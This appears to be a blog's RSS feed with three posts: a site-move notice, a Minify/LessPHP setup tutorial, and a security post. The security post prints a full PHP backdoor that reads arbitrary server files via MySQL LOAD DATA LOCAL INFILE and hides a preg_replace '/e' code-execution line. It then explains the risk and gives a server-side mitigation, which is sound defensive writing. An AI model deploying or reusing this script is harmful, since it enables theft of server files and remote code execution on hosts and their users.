Yet Another Angry Web Developer » Programming http://marco-pivetta.com Web Development as seen by a Web Developer Thu, 16 May 2013 20:30:39 +0000 en-US hourly 1 http://wordpress.org/?v=4.2.5 Moving to github pages! http://marco-pivetta.com/moving-to-github-pages/ http://marco-pivetta.com/moving-to-github-pages/#comments Tue, 21 Aug 2012 17:09:04 +0000 http://marco-pivetta.com/?p=135 Continue reading ]]> My new homepage will be http://ocramius.github.com

Please visit me there!

I’ve also posted why I moved to Github Pages

I will keep this domain for my experiments, but anything dynamic will probably be built on Github pages and connected to this site via JSONP or generally REST APIs :)

]]>
http://marco-pivetta.com/moving-to-github-pages/feed/ 0
PHP Security Exploit: MySQL as a Backdoor with Load Data Local Infile http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/ http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/#comments Sun, 09 Oct 2011 22:11:40 +0000 http://marco-pivetta.com/?p=109 Continue reading ]]> Yesterday I stumbled on a piece of code shown me by my friend Andrea Guglielmo.

It is an exploit that could affect mostly shared hosting solutions, and which I’ve never seen before, even if it has not been invented recently.

It is not really well written piece of PHP code:

  • you can immediately notice that it requires ini_set('short_open_tag', true);
  • it is vulnerable to sql injections
  • it allows arbitrary MySQL credentials (username, password and database) to be passed in via $_GET

But this is not the point of the discussion.

Let’s first get our eyes on it:

<?
$mysql_host = (isset($_GET[mysql_host]))?$_GET[mysql_host]:"localhost";
$mysql_user = (isset($_GET[mysql_user]))?$_GET[mysql_user]:"";
$mysql_pass = (isset($_GET[mysql_pass]))?$_GET[mysql_pass]:"";
$calcname = explode(".",getenv("HTTP_HOST"));
$mysql_name =(isset($_GET[mysql_name]))?$_GET[mysql_name]:"my_".$calcname[0];
$mysql_xploit = preg_replace("/(.+)/e", $_GET[db], $_GET[db]);
$path = (isset($_GET[path]))?$_GET[path]:"/membri/SITO/config.php";
$limit = (isset($_GET[limit]))?$_GET[limit]:"0,30";
$search = (isset($_GET[search]))?$_GET[search]:"";
?>
<form action="#" method="GET">
host <input type=text name=mysql_host value='<?=$mysql_host;?>'/><br />
user <input type=text name=mysql_user value='<?=$mysql_user;?>'/><br />
pass <input type=text name=mysql_pass value='<?=$mysql_pass;?>'/><br />
name <input type=text name=mysql_name value='<?=$mysql_name;?>'/><br />
path <input type=text name=path value='<?=$path;?>' /><br />
[ limit <input type=text name=limit value='<?=$limit;?>' /> ]<br />
[ search <input type=text name=search value='<?=$search;?>' /> ]<br />
<input type=submit value=send />
</form>
<?

if (isset($_GET[mysql_host])) {
  $search = $_GET[search];
  $link = mysql_connect($_GET['mysql_host'], $_GET['mysql_user'], $_GET['mysql_pass'])or die(mysql_error());
  $db = mysql_select_db($_GET['mysql_name']);
  $path = $_GET['path'];
  $limit = $_GET['limit'];
  $query = "CREATE TABLE `exploit` (`path` longtext not null);";
  $delete =  "DROP TABLE `exploit`;";
  $bypass = "LOAD DATA LOCAL INFILE '$path' INTO TABLE exploit;";
  $l = (!empty($_GET[limit])) ? " LIMIT $limit" : "";
  $fu = "SELECT * FROM exploit".$l;
  mysql_query($delete);
  mysql_query($query)or die(mysql_error());
  mysql_query($bypass)or die("Mysql-exploit-error : ".mysql_error());
  $res = mysql_query($fu)or die(mysql_error());
  $txt = "";
  while($row = mysql_fetch_array($res)) {
    $txt .= $row[path]."\n";
  }
  $output = "<form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt)."</textarea></form>";
}

if (!empty($search)) {
  $q = "SELECT * FROM exploit WHERE path LIKE '%".$search."%'";
  $result = mysql_query($q)or die("Mysql-exploit-error : ".mysql_error());
  $txt2 = "";
  while($riga = mysql_fetch_assoc($result)) {
    $txt2 .= $riga[path];
  }
  $output .= "Search results: <form action=# method=POST><input type=hidden name=mode value=sqlwritefile>
  <textarea rows=30 cols=100 name=newtext>".htmlspecialchars($txt2)."</textarea></form>";
}
echo $output;
?>

So here’s what it does:

  1. connects to a MySQL database
  2. creates a table called “exploit
  3. loads data from an arbitrary path passed in by $_GET['path']
  4. Allows querying for data

So you could ask me: Marco, what’s the problem? We already do that with file_get_contents($path).

The problem is that MySQL is a service running on it’s own. Usually, your PHP process is “jailed” within the limits of the www-data user or the one that suPHP has provided you…
I’m thinking of a standard Debian installation, where MySQL usually runs under user “mysql”, which has access to some interesting stuff, like /var/log/mysql.err, /var/log/mysql.log.*, /var/log/mysql/* and /var/lib/mysql/*, and this without considering all what the privileges of the user “mysql” implies.

So what about copying an entire log file or binlog file into the “exploit” table and displaying it to anonymous evil h4x0r? Creepy…

Here’s a sample I’ve just tested:

mysql> create database exploittest;
Query OK, 1 row affected (0.00 sec)
mysql> use exploittest;
Database changed
mysql> CREATE TABLE `exploit` (`path` longtext not null);
Query OK, 0 rows affected (0.01 sec)

mysql> LOAD DATA LOCAL INFILE '/var/lib/mysql/test.txt' INTO TABLE exploit;
Query OK, 3 rows affected (0.05 sec)
Records: 3 Deleted: 0 Skipped: 0 Warnings: 0

mysql> select * from exploit;
+--------+
| path |
+--------+
| aaaa |
| bbbbb |
| cccccc |
+--------+
3 rows in set (0.00 sec)

Well, there’s a simple solution you SHOULD adopt if you have any customers with access to PHP code on your server. Here’s what the MySQL manual states:

You can disable all LOAD DATA LOCAL statements from the server side by starting mysqld with the –local-infile=0 option.

You can could read more about it here:

MySQL LOAD DATA LOCAL INFILE.

Always remember that security is NEVER enough!

 

This page has been translated into Spanish language by Maria Ramos from Webhostinghub.com.

]]>
http://marco-pivetta.com/php-exploit-mysql-backdoor-with-load-data-local-infile/feed/ 2
LessPHP Minify Integration for faster LessCSS development http://marco-pivetta.com/lessphp-minify-integration-lesscss-development/ http://marco-pivetta.com/lessphp-minify-integration-lesscss-development/#comments Sat, 28 May 2011 00:28:37 +0000 http://marco-pivetta.com/?p=79 Continue reading ]]> Today I’ve been working on some addition to the Minify Project to support LESS CSS integration throug LessPHP.

Why do I need LESS CSS?

As you probably have noticed, your CSS files are becoming huge, especially when working on great projects, avoiding sprites, adding gradients, box-shadows, animations, keyframes, etc:

That’s where LESS CSS comes into play.
LESS CSS is just another way of writing CSS, not that repetitive and “LESS” confusing in big projects.

Why do I need Minify?

Minify is a great tool for CSS compression on complex design projects, where you have more designers and dozens of different widgets to be styled individually, but without making the website slow and unresponsive, keeping it fast and slick.

So what was missing?

I’ve been working with Minify JS and CSS for some years till now, but once I switched to LESS I decided to stop writing all my CSS by hand.
Repeating css rules and all those vendor-prefixes for properties made me mad! This brought me to the usage of the Less App for Mac OS, but also forced me to repeat a painful compile/redeploy procedure every time, most of the times automated with complex scripts that made the procedure even more confusing for my design team.

Minify was not able to pack and manage my LESS CSS files.

 

So what does this Minify LessPHP/LessCSS integration do?

I didn’t even believe I could make it in such a short time, just a bit of planning an an hour of coding+debugging, but now I have a working Minify instance using “.less” files and automagically compiling through LessPHP and minifying them.

You can find my project on it’s GitHub page for LessCSS and Minify Integration.
If you’re familiar with Minify, just go on, download the package, change your config.php settings and try it out!
You just need to include .less files instead of .css ones in your requests/groupsConfig!

Setting up Minify with LessCSS support

If you’re not familiar with the project, here’s a very fast introduction:

  1. Download the current GitHub Repository Contents for the LessCSS LessPHP Minify integration
  2. Unzip the file to a directory of your website/local web server
  3. Locate a file called “config.php” in the “min” directory and open it with your favourite text editor.
  4. Find a line that states (should be at line 57, like you see it here)
        $min_documentRoot = '';

    and change it with

        $min_documentRoot = dirname(__FILE__);
  5. Put some “.less” files in the “min” directory, like the following (I’m calling it “test.less”):
    @color: #4D926F;
    
    #header {
      color: @color;
    }
    h2 {
      color: @color;
    }
  6. Load the webpage at http://yoursite/path/to/min/?f=test.less, you should get an output similar to:
    #header{color:#4d926f}h2{color:#4d926f}
  7. Go to the Minify Documentation site and continue experimenting!

After all, this is Minify… More or LESS :)

]]>
http://marco-pivetta.com/lessphp-minify-integration-lesscss-development/feed/ 36